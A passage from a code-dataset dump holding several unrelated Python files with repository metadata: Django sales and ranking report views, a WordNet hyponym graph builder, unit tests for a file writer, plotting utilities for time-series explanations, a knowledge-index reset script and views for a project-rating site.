\"?start={0}-{1}-{2}&end={3}-{4}-{5}&products={6}&username=&razzia_title={7}\".format(\n int(request.POST['start_year']),\n int(request.POST['start_month']),\n int(request.POST['start_day']),\n int(request.POST['end_year']),\n int(request.POST['end_month']),\n int(request.POST['end_day']),\n request.POST.get('products'),\n request.POST.get('razzia_title'),\n )\n )\n\n suggested_start_date = timezone.now() - datetime.timedelta(days=-180)\n suggested_end_date = timezone.now()\n\n start_date_picker = fields.DateField(\n widget=SelectDateWidget(years=[x for x in range(2000, timezone.now().year + 1)])\n )\n end_date_picker = fields.DateField(widget=SelectDateWidget(years=[x for x in range(2000, timezone.now().year + 1)]))\n\n return render(\n request,\n 'admin/stregsystem/razzia/wizard.html',\n {\n 'start_date_picker': start_date_picker.widget.render(\"start\", suggested_start_date),\n 'end_date_picker': end_date_picker.widget.render(\"end\", suggested_end_date),\n },\n )\n\n\nrazzia_wizard = staff_member_required(razzia_wizard)\n\n\ndef ranks(request, year=None):\n if year:\n return ranks_for_year(request, int(year))\n else:\n return ranks_for_year(request, next_fjule_party_year())\n\n\nranks = staff_member_required(ranks)\n\n\n@permission_required(\"stregsystem.access_sales_reports\")\ndef sales_product(request, ids, from_time, to_time, error=None):\n date_format = '%Y-%m-%d'\n\n if error is not None:\n return render(request, 'admin/stregsystem/report/error_invalidsalefetch.html', {'error': error})\n\n try:\n from_time_date = datetime.datetime.strptime(from_time, date_format)\n from_date_time_tz_aware = timezone.datetime(\n from_time_date.year, from_time_date.month, from_time_date.day, tzinfo=pytz.UTC\n )\n except (ValueError, TypeError):\n from_date_time_tz_aware = first_of_month(timezone.now())\n from_time = from_date_time_tz_aware.strftime(date_format)\n\n try:\n to_date_time = late(timezone.datetime.strptime(to_time, date_format))\n to_date_time_tz_aware = timezone.datetime(\n to_date_time.year, to_date_time.month, to_date_time.day, tzinfo=pytz.UTC\n )\n except (ValueError, TypeError):\n to_date_time = timezone.now()\n to_time = to_date_time.strftime(date_format)\n sales = []\n if ids is not None and len(ids) > 0:\n products = reduce(lambda a, b: a + str(b) + ' ', ids, '')\n query = reduce(lambda x, y: x | y, [Q(id=z) for z in ids])\n query &= Q(sale__timestamp__gt=from_date_time_tz_aware)\n query &= Q(sale__timestamp__lte=to_date_time_tz_aware)\n result = Product.objects.filter(query).annotate(Count('sale'), Sum('sale__price'))\n\n count = 0\n sum = 0\n for r in result:\n sales.append((r.pk, r.name, r.sale__count, money(r.sale__price__sum)))\n count = count + r.sale__count\n sum = sum + r.sale__price__sum\n\n sales.append(('', 'TOTAL', count, money(sum)))\n\n return render(request, 'admin/stregsystem/report/sales.html', locals())\n\n\n# renders stats for the year starting at first friday in december (year - 1) to the first friday in december (year)\n# both at 10 o'clock\n@permission_required(\"stregsystem.access_sales_reports\")\ndef ranks_for_year(request, year):\n if year <= 1900 or year > 9999:\n return render(request, 'admin/stregsystem/report/error_ranksnotfound.html', locals())\n milk = [2, 3, 4, 5, 6, 7, 8, 9, 10, 16, 17, 18, 19, 20, 24, 25, 43, 44, 45, 1865]\n caffeine = [11, 12, 30, 34, 37, 1787, 1790, 1791, 1795, 1799, 1800, 1803, 1804, 1837, 1864]\n beer = [\n 13,\n 14,\n 29,\n 42,\n 47,\n 54,\n 65,\n 66,\n 1773,\n 1776,\n 1777,\n 1779,\n 1780,\n 1783,\n 1793,\n 1794,\n 1807,\n 1808,\n 1809,\n 1820,\n 1822,\n 1840,\n 1844,\n 1846,\n 1847,\n 1853,\n 1855,\n 1856,\n 1858,\n 1859,\n ]\n coffee = [32, 35, 36, 39]\n vitamin = [1850, 1851, 1852, 1863, 1880]\n\n FORMAT = '%d/%m/%Y kl. %H:%M'\n last_year = year - 1\n from_time = fjule_party(year - 1)\n to_time = fjule_party(year)\n kr_stat_list = sale_money_rank(from_time, to_time)\n beer_stat_list = sale_product_rank(beer, from_time, to_time)\n caffeine_stat_list = sale_product_rank(caffeine, from_time, to_time)\n milk_stat_list = sale_product_rank(milk, from_time, to_time)\n coffee_stat_list = sale_product_rank(coffee, from_time, to_time)\n vitamin_stat_list = sale_product_rank(vitamin, from_time, to_time)\n from_time_string = from_time.strftime(FORMAT)\n to_time_string = to_time.strftime(FORMAT)\n current_date = timezone.now()\n is_ongoing = current_date > from_time and current_date <= to_time\n return render(request, 'admin/stregsystem/report/ranks.html', locals())\n\n\n# gives a list of member objects, with the additional field sale__count, with the number of sales which are in the parameter id\ndef sale_product_rank(ids, from_time, to_time, rank_limit=10):\n stat_list = (\n Member.objects.filter(sale__timestamp__gt=from_time, sale__timestamp__lte=to_time, sale__product__in=ids)\n .annotate(Count('sale'))\n .order_by('-sale__count', 'username')[:rank_limit]\n )\n return stat_list\n\n\n# gives a list of member object, with the additional field sale__price__sum__formatted which is the number of money spent in the period given.\ndef sale_money_rank(from_time, to_time, rank_limit=10):\n stat_list = (\n Member.objects.filter(active=True, sale__timestamp__gt=from_time, sale__timestamp__lte=to_time)\n .annotate(Sum('sale__price'))\n .order_by('-sale__price__sum', 'username')[:rank_limit]\n )\n for member in stat_list:\n member.sale__price__sum__formatted = money(member.sale__price__sum)\n return stat_list\n\n\n# year of the last fjuleparty\ndef last_fjule_party_year():\n current_date = timezone.now()\n fjule_party_this_year = fjule_party(current_date.year)\n if current_date > fjule_party_this_year:\n return current_date.year\n return current_date.year - 1\n\n\n# year of the next fjuleparty\ndef next_fjule_party_year():\n current_date = timezone.now()\n fjule_party_this_year = fjule_party(current_date.year)\n if current_date <= fjule_party_this_year:\n return current_date.year\n return current_date.year + 1\n\n\n# date of fjuleparty (first friday of december) for the given year at\n# 10 o'clock\ndef fjule_party(year):\n first_december = timezone.datetime(year, 12, 1, 22, tzinfo=pytz.timezone(\"Europe/Copenhagen\"))\n days_to_add = (11 - first_december.weekday()) % 7\n return first_december + datetime.timedelta(days=days_to_add)\n\n\ndef parse_id_string(id_string):\n try:\n return list(map(int, id_string.split(' ')))\n except ValueError as ex:\n raise RuntimeError(\"The list contained an invalid id: {}\".format(ex.__str__()))\n\n\ndef late(date):\n return timezone.datetime(date.year, date.month, date.day, 23, 59, 59)\n\n\ndef first_of_month(date):\n return timezone.datetime(date.year, date.month, 1, 23, 59, 59)\n\n\n@permission_required(\"stregsystem.access_sales_reports\")\ndef daily(request):\n current_date = timezone.now().replace(hour=0, minute=0, second=0)\n latest_sales = Sale.objects.prefetch_related('product', 'member').order_by('-timestamp')[:7]\n top_today = (\n Product.objects.filter(sale__timestamp__gt=current_date).annotate(Count('sale')).order_by('-sale__count')[:7]\n )\n\n startTime_day = timezone.now() - datetime.timedelta(hours=24)\n revenue_day = (Sale.objects.filter(timestamp__gt=startTime_day).aggregate(Sum(\"price\"))[\"price__sum\"]) or 0.0\n startTime_month = timezone.now() - datetime.timedelta(days=30)\n revenue_month = (Sale.objects.filter(timestamp__gt=startTime_month).aggregate(Sum(\"price\"))[\"price__sum\"]) or 0.0\n top_month_category = (\n Category.objects.filter(product__sale__timestamp__gt=startTime_month)\n .annotate(sale=Count(\"product__sale\"))\n .order_by(\"-sale\")[:7]\n )\n\n return render(request, 'admin/stregsystem/report/daily.html', locals())\n\n\ndef sales_api(request):\n startTime_month = timezone.now() - datetime.timedelta(days=30)\n qs = (\n Sale.objects.filter(timestamp__gt=startTime_month)\n .annotate(day=TruncDay('timestamp'))\n .values('day')\n .annotate(c=Count('*'))\n .annotate(r=Sum('price'))\n )\n db_sales = {i[\"day\"].date(): (i[\"c\"], money(i[\"r\"])) for i in qs}\n base = timezone.now().date()\n date_list = [base - datetime.timedelta(days=x) for x in range(0, 30)]\n\n sales_list = []\n revenue_list = []\n for date in date_list:\n if date in db_sales:\n sales, revenue = db_sales[date]\n sales_list.append(sales)\n revenue_list.append(revenue)\n else:\n sales_list.append(0)\n revenue_list.append(0)\n\n items = {\n \"day\": date_list,\n \"sales\": sales_list,\n \"revenue\": revenue_list,\n }\n return JsonResponse(items)\n\n\ndaily = staff_member_required(daily)\n\n\n@permission_required(\"stregsystem.access_sales_reports\")\ndef user_purchases_in_categories(request):\n form = CategoryReportForm()\n data = None\n header = None\n if request.method == 'POST':\n form = CategoryReportForm(request.POST)\n if form.is_valid():\n categories = form.cleaned_data['categories']\n\n # @SPEED: This is not a good solution for maximum speed,\n # however neither is using MySQL. Django doesn't want to\n # group by category_id correctly.\n # -- Troels 2017-10-04\n\n user_sales_per_category = {}\n for c in categories:\n user_sales_per_category_q = (\n Member.objects.filter(sale__product__categories=c)\n .annotate(sales=Count(\"*\"))\n .order_by(\"sale__product__categories\")\n .values_list(\n \"id\",\n \"sales\",\n \"sale__product__categories__name\",\n )\n )\n\n for user_id, sale_count, category_name in user_sales_per_category_q:\n if user_id not in user_sales_per_category:\n user_sales_per_category[user_id] = {}\n user_sales_per_category[user_id][category_name] = sale_count\n\n users = (\n Member.objects.filter(sale__product__categories__in=categories)\n .annotate(total_sales=Count(\"*\"))\n .order_by(\"-total_sales\")\n .values_list(\n \"id\",\n \"username\",\n \"total_sales\",\n )\n )\n\n header = categories.values_list(\"name\", flat=True)\n data = []\n for user_id, username, total_sales in users:\n category_assoc = []\n for h in header:\n this_sales = user_sales_per_category[user_id]\n if h in this_sales:\n category_assoc.append(this_sales[h])\n else:\n category_assoc.append(0)\n data.append((username, total_sales, category_assoc))\n\n return render(\n request,\n 'admin/stregsystem/report/user_purchases_in_categories.html',\n {\n \"form\": form,\n \"data\": data,\n \"header\": header,\n },\n )\n","repo_name":"f-klubben/stregsystemet","sub_path":"stregreport/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":19040,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"60"} +{"seq_id":"18379480275","text":"# from textblob import Wrod\nimport networkx as nx\n# note need to run nltk.download() once & install wordnet in \"All Packages\"\n# 155,287 words organized in 117,659 synsets for a total of 206,941 word-sense pairs\nfrom nltk.corpus import wordnet as wn\nimport collections\n\nSynsetInfo = collections.namedtuple('SynsetInfo', ['label', 'pos', 'sense_n', 'definition', 'lemmas'])\n\nclass WordGraph(object):\n \"\"\"\n graph object of synset hyponym trees\n using Princeton's Wordnet\n \"\"\"\n def __init__(self):\n \"\"\"\n default constructor that initializes\n graph from all of the synsets\n \"\"\"\n # use networkX to create a directed graph\n # of words\n self.__graph = nx.DiGraph()\n # # map graph nodes to positions\n # self.__layout = {}\n # # map words to the synsets they belong to\n # self.__words_to_synsets = {}\n # # reverse of above\n # self.__synsets_to_words = {}\n # # map words to tense, definition, and id\n # self.__info_dict = {}\n # create w/ all synsets\n self.__create_graph_all_words()\n\n def __create_graph_all_words(self):\n \"\"\"\n creates the connections using\n wn.all_synsets and Synset.hyponyms\n \"\"\"\n # for each of the parts of speach\n # connections are supported only for nouns & verbs\n for synset in wn.all_synsets():\n parent = synset\n children = parent.hyponyms()\n # self.__recurse_down_tree(parent, children)\n self.__add_to_graph(parent, children)\n\n def __add_to_graph(self, parent, children):\n \"\"\"\n add the parent node to the graph\n and an edge to all the parents children(hyponyms)\n \"\"\"\n synset_info = WordGraph.__synset_information(parent)\n\n self.__graph.add_node(synset_info.label,\n pos=synset_info.pos,\n sense_n=synset_info.sense_n,\n definition=synset_info.definition,\n lemmas=synset_info.lemmas)\n\n for child in children:\n parent_info = WordGraph.__synset_information(parent)\n child_info = WordGraph.__synset_information(child)\n self.__graph.add_edge(parent_info.label, child_info.label)\n\n @staticmethod\n def __synset_information(synset):\n \"\"\"\n return a named tuple with the information\n \"\"\"\n split = str(synset.name()).split('.')\n pos, sense_n = split[-2:]\n name = '.'.join(split[0:-2])\n definition = synset.definition()\n label = \"{} ({}:{})\".format(name, pos, sense_n)\n lemmas = [str(lemma) for lemma in synset.lemma_names()]\n return SynsetInfo(label=label,\n pos=pos,\n sense_n=sense_n,\n definition=definition,\n lemmas=lemmas)\n\n # this function does not work well w/ recursion, use __add_to_graph\n # use if using Synset.tree rather than Synset.hyponyms\n # def __recurse_down_tree(self, parent, children):\n #\n # self.__graph.add_node(str(parent.name()))\n #\n # # base case: if there are no children\n # if len(children) == 0:\n # return\n # # shift down a level on the tree\n # grandparent = parent\n # for child in children:\n # parent = child[0]\n # # if this tree was already added to the graph\n # if str(parent.name()) in self.__graph.nodes():\n # continue\n # self.__graph.add_edge(str(grandparent.name()), str(parent.name()))\n # children = child[1:]\n # self.__recurse_down_tree(parent, children)\n\n def get_graph(self):\n \"\"\"\n return the graph for use in nx\n \"\"\"\n return self.__graph\n","repo_name":"lusilva/word-galaxy","sub_path":"python/WordGraph.py","file_name":"WordGraph.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"} +{"seq_id":"9426321159","text":"# python 2\nfrom __future__ import absolute_import\nfrom builtins import str\n\n# builtin\nfrom unittest import TestCase\nfrom os import path, remove\n\n# custom\nfrom blowdrycss.filehandler import GenericFile\nfrom blowdrycss.utilities import unittest_file_path\n\n__author__ = 'chad nelson'\n__project__ = 'blowdrycss'\n\n\nclass TestGenericFile(TestCase):\n def test_write_valid(self):\n sample_markdown = '# Sample Title\\nThis is a paragraph.\\n'\n expected_string = sample_markdown\n generic_directory = unittest_file_path('test_generic')\n file_name = 'blowdry'\n extensions = ['.md', '.rst', '.html', '.txt', ]\n\n for extension in extensions:\n generic_file = GenericFile(file_directory=generic_directory, file_name=file_name, extension=extension)\n\n if path.isfile(generic_file.file_path): # Ensure that file is deleted before testing.\n remove(generic_file.file_path)\n\n generic_file.write(text=str(sample_markdown))\n\n with open(generic_file.file_path, 'r') as generic_file:\n file_string = generic_file.read()\n self.assertEqual(file_string, expected_string)\n\n def test_write_invalid_input(self):\n invalid_inputs = [1239487.234, ['nth', 'rcghtn'], {2, 1, '&^'}, 546, ]\n generic_directory = unittest_file_path('test_generic')\n file_name = 'blowdry'\n extension = '.md'\n\n for invalid_text in invalid_inputs:\n generic_file = GenericFile(file_directory=generic_directory, file_name=file_name, extension=extension)\n self.assertRaises(TypeError, generic_file.write, invalid_text)\n\n def test_invalid_initialization(self):\n generic_directory = unittest_file_path('test_generic')\n file_name = 'blowdry'\n extension = '.md'\n\n self.assertRaises(ValueError, GenericFile, '', file_name, extension)\n self.assertRaises(ValueError, GenericFile, generic_directory, '', extension)\n self.assertRaises(ValueError, GenericFile, generic_directory, file_name, '')","repo_name":"nueverest/blowdrycss","sub_path":"blowdrycss/unit_tests/test_GenericFile.py","file_name":"test_GenericFile.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"73052289150","text":"import numpy as np\nimport random\nimport matplotlib.pyplot as plt\nfrom collections import defaultdict\nfrom sklearn import preprocessing\nfrom scipy.interpolate import interp1d\n\n\ndef get_random_color(n):\n ans = []\n random.seed(1)\n for j in range(n):\n rand_color = \"#\"+''.join([random.choice('ABCDEF0123456789') for i in range(6)])\n ans.append(rand_color)\n return ans\n\n\ndef visualize_class_ts(X,y):\n X = np.squeeze(X)\n class_name = list(np.unique(y))\n num_class = len(class_name)\n color_list = get_random_color(num_class)\n index_dict = defaultdict(list)\n for i,y0 in enumerate(y):\n index_dict[y0].append(i)\n \n \n for class_,color in zip(class_name,color_list):\n for j in range(X.shape[0]):\n if j in index_dict[class_]:\n plt.plot(X[j,:],color=color)\n plt.title(\"Class %d sample\" %(class_))\n plt.show() \n \n\ndef visualize_explanation(idx, X_series, explanation,ds, savefig=False):\n \"\"\"Visualize one time series with explanation by a heatmap\n Args:\n idx: Index of the example to produce heatmap (0-indexed)\n X_series: the X_series that needs to visualize (2d array)\n explanation: coressponding explanation weights for the X_series\n ds: the name of the dataset to explain (for annotation purpose only)\n\n Return: a plot of heatmap explanation for an example index in a given dataset\n \"\"\"\n def transform(X):\n ma,mi = np.max(X), np.min(X)\n X = (X - mi)/(ma-mi)\n return X*100\n weight = abs(explanation[idx])\n weight = transform(weight)\n ts = np.squeeze(X_series[idx])\n \n max_length1, max_length2 = len(ts),10000 #\n x1 = np.linspace(0,max_length1,num = max_length1)\n x2 = np.linspace(0,max_length1,num = max_length2)\n y1 = ts\n \n f = interp1d(x1, y1) # interpolate time series\n fcas = interp1d(x1, weight) # interpolate weight color\n weight = fcas(x2) # convert vector of original weight vector to new weight vector\n\n plt.scatter(x2,f(x2), c = weight, cmap = 'jet', marker='.', s= 1,vmin=0,vmax = 100)\n # plt.xlabel('Explanation for index %d, dataset %s' %(idx, ds))\n cbar = plt.colorbar(orientation = 'vertical')\n \n if savefig:\n plt.savefig('temp.pdf',format='pdf',dpi=300)\n else: plt.show()\n\n\ndef visualize_single_explanation(x, w, savefig=False):\n \"\"\"Visualize one time series with explanation by a heatmap\n Args:\n idx: Index of the example to produce heatmap (0-indexed)\n X_series: the X_series that needs to visualize (2d array)\n explanation: coressponding explanation weights for the X_series\n ds: the name of the dataset to explain (for annotation purpose only)\n\n Return: a plot of heatmap explanation for an example index in a given dataset\n \"\"\"\n def transform(X):\n ma,mi = np.max(X), np.min(X)\n X = (X - mi)/(ma-mi)\n return X*100\n weight = abs(w)\n weight = transform(weight)\n # z = np.histogram(weight)\n plt.hist(weight, bins = [0,20,40,60,80,100]) \n plt.title(\"histogram\") \n plt.show()\n ts = np.squeeze(x)\n \n max_length1, max_length2 = len(ts),10000 #\n x1 = np.linspace(0,max_length1,num = max_length1)\n x2 = np.linspace(0,max_length1,num = max_length2)\n y1 = ts\n \n f = interp1d(x1, y1) # interpolate time series\n fcas = interp1d(x1, weight) # interpolate weight color\n weight = fcas(x2) # convert vector of original weight vector to new weight vector\n\n plt.scatter(x2,f(x2), c = weight, cmap = 'jet', marker='.', s= 1,vmin=0,vmax = 100)\n # plt.xlabel('Explanation for index %d, dataset %s' %(idx, ds))\n cbar = plt.colorbar(orientation = 'vertical')\n \n if savefig:\n plt.savefig('temp.pdf',format='pdf',dpi=300)\n else: plt.show()\n\n\ndef visualize_experiment_result(df, fsize=15, padsize=15, legendsize=8,savefig=False,savepath='./plot/temp'):\n referees = list(set(df['Referee']))\n xais = list(set(df['XAI_method']))\n datasets = list(set(df['dataset']))\n color = get_random_color(len(xais))\n marker = ['v', 'o', 'd','v','o','d']\n nr,nc = len(datasets),len(referees)\n x = np.arange(0,101,10)\n\n if nr==1 and nc==1: # one XAI, one dataset --> single figure\n fig = plt.figure(figsize=(6,4))\n ref= referees[0]\n dataset=datasets[0]\n print(ref)\n for xai,c,m in zip(xais,color,marker):\n y = df[(df['Referee'] == ref) & \n (df['XAI_method'] == xai) & \n (df['dataset'] == dataset)]['metrics: acc']\n plt.plot(x,y, color=c, marker=m)\n plt.title('Referee: %s' %ref.upper(), fontsize=fsize)\n plt.xlabel('Noise Level in Percentage')\n plt.ylabel('Dataset: %s' %dataset, fontsize=fsize, labelpad=padsize)\n plt.legend(xais, loc='upper right', fontsize=legendsize)\n plt.show()\n \n else:\n fig, axes = plt.subplots(nrows=nr, ncols=nc, sharex=True, sharey=True, figsize=(4*nc,4*nr))\n for i, dataset in enumerate(datasets):\n for j, ref in enumerate(referees):\n for xai,c,m in zip(xais,color,marker):\n y = df[(df['Referee'] == ref) & \n (df['XAI_method'] == xai) & \n (df['dataset'] == dataset)]['metrics: acc']\n if nr==1: # ONE dataset only --> one row of XAIs\n axes[j].plot(x,y, color=c, marker = m)\n axes[j].set_title('Referee: %s' %ref.upper(), fontsize=fsize, pad=padsize)\n axes[j].set_xlabel('Noise Level in Percentage')\n if j==0: \n axes[j].set_ylabel('Dataset: %s' %dataset, fontsize=fsize, labelpad=padsize)\n axes[j].legend(xais, loc='upper right', fontsize=legendsize)\n\n elif nc==1: # ONE referee only --> one column of datasets\n axes[i].plot(x,y, color=c, marker = m)\n axes[i].set_ylabel('Dataset: %s' %dataset, fontsize=fsize, labelpad=padsize)\n if i==0: \n axes[i].set_title('Referee: %s' %ref.upper(), fontsize=fsize, pad=padsize)\n axes[i].legend(xais, loc='upper right', fontsize=legendsize)\n if i == len(datasets)-1:\n axes[i].set_xlabel('Noise Level in Percentage')\n\n else:\n axes[i,j].plot(x,y, color=c, marker = m)\n if i==0: axes[i,j].set_title('Referee: %s' %ref.upper(), fontsize=fsize, pad=padsize) \n if j==0: \n axes[i,j].set_ylabel('Dataset: %s' %dataset, fontsize=fsize, labelpad=padsize)\n axes[i,j].legend(xais, loc='upper right', fontsize=legendsize)\n if i == len(datasets)-1:\n axes[i,j].set_xlabel('Noise Level in Percentage')\n \n plt.tight_layout()\n \n if savefig:\n plt.savefig(savepath+'.png',bbox_inches='tight', pad_inches=0)\n","repo_name":"trang-nguyenn/explanation4tsc-2nd","sub_path":"utils/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":7222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"16995198205","text":"import os\nimport expert_common\n\n# run this if you want to reset the knowledge directory\n# to the state before the knowledge_splitter and knowledge_indexer were run\nif __name__ == \"__main__\":\n knowledge = expert_common.knowledge_path()\n\n print(f\"Resetting all processing steps in: {knowledge}\")\n\n # delete all .faiss files in the knowledge directory\n count = 0\n for file in os.listdir(knowledge):\n if file.endswith('.faiss'):\n os.remove(os.path.join(knowledge, file))\n count += 1\n print(f\"Deleted {count} .faiss files\")\n\n # delete all files containing 'split' in the name\n count = 0\n for file in os.listdir(knowledge):\n if 'split' in file:\n os.remove(os.path.join(knowledge, file))\n count += 1\n print(f\"Deleted {count} split files\")\n\n # rename all .original files to their original name\n count = 0\n for file in os.listdir(knowledge):\n if file.endswith('.original'):\n os.rename(os.path.join(knowledge, file), os.path.join(knowledge, file[:-9]))\n count += 1\n print(f\"Renamed {count} .original files\")\n\n # for all files ending with .md or .md.gz remove the corresponding .jsonl or jsonl.gz file\n count = 0\n for file in os.listdir(knowledge):\n if file.endswith('.md'):\n f = os.path.join(knowledge, file[:-3] + '.jsonl')\n fgz = os.path.join(knowledge, file[:-3] + '.jsonl.gz')\n if os.path.exists(f):\n os.remove(f)\n count += 1\n if os.path.exists(fgz):\n os.remove(fgz)\n count += 1\n if file.endswith('.md.gz'):\n f = os.path.join(knowledge, file[:-6] + '.jsonl')\n fgz = os.path.join(knowledge, file[:-6] + '.jsonl.gz')\n if os.path.exists(f):\n os.remove(f)\n count += 1\n if os.path.exists(fgz):\n os.remove(fgz)\n count += 1\n print(f\"Deleted {count} .jsonl files for markdown sources\")\n\n print(\"To run all processing steps to make a search index, do:\")\n print(\"- run knowledge_dedup.py to remove double index entries\")\n print(\"- run knowledge_splitter.py to separate large chunks of documents into smaller ones\")\n print(\"- run knowledge_indexing.py to generate .faiss index files\")\n","repo_name":"yacy/yacy_expert","sub_path":"knowledge_reset.py","file_name":"knowledge_reset.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":650,"dataset":"github-code","pt":"60"} +{"seq_id":"31453275709","text":"from django.shortcuts import HttpResponse, render, redirect, get_object_or_404, reverse, get_list_or_404\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.core.mail import mail_admins\nfrom django.contrib.auth.models import User\nfrom django.contrib import auth, messages\nfrom .forms import *\nfrom .models import *\nimport datetime\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .serializer import ProfileSerializer,ProjectSerializer\nfrom rest_framework import status\nfrom .permissions import IsAdminOrReadOnly\n# Create your views here.\n\n\ndef search_results(request):\n # check if the input field exists and that ic contains data\n if 'post' in request.GET and request.GET['post']:\n # get the data from the search input field\n explore_posts = Post.all_posts()\n search_term = request.GET.get('post')\n searched_posts = Post.filter_by_search_term(search_term)\n print(search_term)\n caption = f'Search results for {search_term}'\n\n if len(searched_posts) == 0:\n caption = f'Results for {search_term} Found'\n search_context = {\n 'posts': searched_posts,\n 'explore_posts': explore_posts,\n 'caption': caption,\n }\n return render(request, 'search.html', search_context)\n else:\n explore_posts = Post.all_posts()\n search_context = {\n 'explore_posts': explore_posts,\n 'caption': 'Matches found for your search!! Discover More Posts'\n }\n return render(request, 'search.html', search_context)\n\n\ndef home(request):\n post = Post.objects.first()\n posts = Post.objects.all()\n print(posts)\n\n average_usability = Rating.average_usability(post)\n average_design = Rating.average_design(post)\n average_creativity = Rating.average_creativity(post)\n average_content = Rating.average_content(post)\n average_mobile = Rating.average_mobile(post)\n average_rating = Rating.average_rating(post)\n context = {\n 'posts': posts,\n 'post': post,\n 'average_usability_w': stringify_rating(average_usability)[0], 'average_usability_d': stringify_rating(average_usability)[1],\n 'average_design_w': stringify_rating(average_design)[0], 'average_design_d': stringify_rating(average_design)[1],\n 'average_creativity_w': stringify_rating(average_creativity)[0], 'average_creativity_d': stringify_rating(average_creativity)[1],\n 'average_content_w': stringify_rating(average_content)[0], 'average_content_d': stringify_rating(average_content)[1],\n 'average_mobile_w': stringify_rating(average_mobile)[0], 'average_mobile_d': stringify_rating(average_mobile)[1],\n 'average_rating': average_rating,\n }\n return render(request, 'index.html', context)\n\n\ndef login(request):\n if request.user.is_authenticated():\n return redirect('home')\n\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = auth.authenticate(username=username, password=password)\n\n if user is not None:\n # correct username and password login the user\n auth.login(request, user)\n return redirect('home')\n\n else:\n messages.error(request, 'Error wrong username/password')\n\n return render(request, 'login.html')\n\n\ndef logout(request):\n auth.logout(request)\n return redirect('login')\n\n\ndef profile(request, username):\n projo = Post.objects.all()\n profile = User.objects.get(username=username)\n # print(profile.id)\n try:\n profile_details = Profile.objects.all()\n except:\n profile_details = Profile.objects.all()\n projo = Post.objects.all()\n title = f'@{profile.username} awwward projects and screenshots'\n\n return render(request, 'profile.html', locals())\n\n\n\n\ndef signup(request):\n if request.method == 'POST':\n form = MyRegistrationForm(request.POST)\n if form.is_valid():\n print('here')\n form.save()\n return redirect('login')\n\n form = MyRegistrationForm()\n\n context = {\n 'form': form\n }\n return render(request, 'register.html', context)\n\n\ndef post_website(request):\n if request.method == 'POST':\n uploadform = ProjectForm(request.POST, request.FILES)\n if uploadform.is_valid():\n upload = uploadform.save(commit=False)\n upload.profile = request.user.profile\n upload.save()\n return redirect('home')\n else:\n uploadform = ProjectForm()\n return render(request,'new_upload.html',locals())\n\n\ndef rate_website(request, post_id):\n user = request.user\n try:\n profile = user.profile\n posts = Post.objects.all()\n post = Post.objects.get(pk=post_id)\n post_reviews = post.ratings.all()\n judges = list(set([judge.user for judge in post_reviews]))\n if request.user.is_authenticated:\n print(post_id)\n p_user = post.uploaded_by\n if request.method == 'POST':\n rf = RatePostForm(request.POST)\n cf = ReviewCommentForm(request.POST)\n print(rf.is_valid())\n print(cf.is_valid())\n if rf.is_valid():\n rf.save()\n rating = Rating.objects.last()\n rating.user = user\n rating.post = post\n rating.save()\n if cf.is_valid() and cf.cleaned_data['review'] != '':\n cf.save()\n review = Comment.objects.last()\n review.author = user\n review.post = post\n review.save()\n return redirect(reverse('rate_website', args=(post_id,)))\n else:\n rf = RatePostForm()\n cf = ReviewCommentForm()\n print(judges)\n\n # user_rating = from\n average_usability = Rating.average_usability(post)\n average_design = Rating.average_design(post)\n average_creativity = Rating.average_creativity(post)\n average_content = Rating.average_content(post)\n average_mobile = Rating.average_mobile(post)\n average_rating = Rating.average_rating(post)\n context = {\n 'average_usability_w': stringify_rating(average_usability)[0], 'average_usability_d': stringify_rating(average_usability)[1],\n 'average_design_w': stringify_rating(average_design)[0], 'average_design_d': stringify_rating(average_design)[1],\n 'average_creativity_w': stringify_rating(average_creativity)[0], 'average_creativity_d': stringify_rating(average_creativity)[1],\n 'average_content_w': stringify_rating(average_content)[0], 'average_content_d': stringify_rating(average_content)[1],\n 'average_mobile_w': stringify_rating(average_mobile)[0], 'average_mobile_d': stringify_rating(average_mobile)[1],\n 'average_rating': average_rating,\n 'rf_form': rf,\n 'cf_form': cf,\n 'p_user': p_user,\n 'user': user,\n 'post': post,\n 'posts': posts,\n 'judges': judges,\n 'ratings': post_reviews\n }\n return render(request, 'rate.html', context)\n except:\n text = 'You need a profile before rating a website! Add One Now!'\n return render(request, 'profile_edit.html', {'text': text})\n\n\ndef dummy(request):\n return HttpResponse('dummy')\n\n\ndef edit_profile(request):\n profile = User.objects.get(username=request.user)\n\n if request.method == 'POST':\n form = ProfileForm(request.POST, request.FILES)\n if form.is_valid():\n edit = form.save(commit=False)\n edit.user = request.user\n edit.save()\n return redirect('edit_profile')\n else:\n form = ProfileForm()\n return render(request, 'profile_edit.html', locals())\n\n\ndef stringify_rating(rating):\n r = str(rating).split('.')\n x = r[1]\n if len(r[1]) < 2:\n x += '0'\n\n return [r[0], x]\n\nclass ProfileList(APIView):\n def get(self, request, format=None):\n all_profile = Profile.objects.all()\n serializers = ProfileSerializer(all_profile, many=True)\n return Response(serializers.data)\n\n def post(self, request, format=None):\n serializers = ProfileSerializer(data=request.data)\n if serializers.is_valid():\n serializers.save()\n return Response(serializers.data, status=status.HTTP_201_CREATED)\n return Response(serializers.errors, status=status.HTTP_400_BAD_REQUEST)\n permission_classes = (IsAdminOrReadOnly,)\n\nclass ProjectList(APIView):\n def get(self, request, format=None):\n all_post = Post.objects.all()\n serializers = ProjectSerializer(all_post, many=True)\n return Response(serializers.data)\n\n def post(self, request, format=None):\n serializers = ProjectSerializer(data=request.data)\n if serializers.is_valid():\n serializers.save()\n return Response(serializers.data, status=status.HTTP_201_CREATED)\n return Response(serializers.errors, status=status.HTTP_400_BAD_REQUEST)\n\n permission_classes = (IsAdminOrReadOnly,)\n","repo_name":"abdirahman-mahat/awwards","sub_path":"awards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7223547247","text":"import numpy as np\nfrom 